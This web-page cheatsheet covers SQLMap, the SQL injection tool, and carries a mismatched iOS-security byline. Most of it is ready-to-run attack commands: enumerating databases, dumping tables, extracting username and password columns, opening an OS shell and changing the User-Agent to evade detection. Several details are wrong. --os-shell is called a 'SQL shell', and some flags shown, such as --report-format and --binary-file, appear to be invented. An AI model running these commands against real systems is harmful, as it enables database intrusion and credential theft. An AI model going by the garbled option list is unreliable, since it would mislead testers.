SQLMap Command-Line Cheatsheet for Penetration Testers

📱 Mobile Security Tips

Sarah Chen — iOS Security Specialist

What is SQLMap?

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. It features a powerful detection engine and comes with a plethora of features for database takeover and manipulation.

Installation

SQLMap can be easily installed and run on any platform with Python 2.7+ or Python 3.x installed. To get started, clone the project repository:

git clone https://github.com/sqlmapproject/sqlmap.git

Basic Syntax

python sqlmap.py -u "URL" [options]

Discovery

Initial Scan

Start with a basic scan to identify SQL injection points:

python sqlmap.py -u "http://example.com/page.php?id=1"

Verbose Output

Enable verbose mode for more detailed output:

python sqlmap.py -u "http://example.com/page.php?id=1" --verbose

Scanning

Data Enumeration

Enumerate database names:

python sqlmap.py -u "http://example.com/page.php?id=1" --dbs

Table Enumeration

After obtaining the database name, list tables:

python sqlmap.py -u "http://example.com/page.php?id=1" -D [database_name] --tables

Exploitation

Dumping Data

Dump data from a specific table:

python sqlmap.py -u "http://example.com/page.php?id=1" -D [database_name] -T [table_name] --dump

SQL Shell Access

Get a full SQL shell onto the database:

python sqlmap.py -u "http://example.com/page.php?id=1" --os-shell

Analysis

Data Extraction Formats

Extract data in specific formats (CSV, JSON, etc.):

python sqlmap.py -u "http://example.com/page.php?id=1" --dump --format=CSV

Evasion

Use of User-Agent

Modify the User-Agent to evade detection:

python sqlmap.py -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"

Reporting

Generate Reports

Generate HTML or XML report of the findings:

python sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=./reports --report-format=HTML

Quick Reference Table

Pro Tips

• Use cookies: If the application requires authentication, add cookies to the request with --cookie="SESSIONID=value".
• Time-based payloads: If the website is protected against normal injection, utilize time-based techniques with --time-sec=5 to verify the existence of SQL injection.
• Binary data extraction: Use --binary-file="./output.bin" to dump binary data.

Real-World Examples

To leverage SQLMap effectively in real scenarios, here are some examples:

• Example 1: To dump all data from a MySQL database:

python sqlmap.py -u "http://target.com/page.php?id=1" --dbs --dump

• Example 2: To extract specific columns from a table:

python sqlmap.py -u "http://target.com/page.php?id=1" -D mydb -T users -C username,password --dump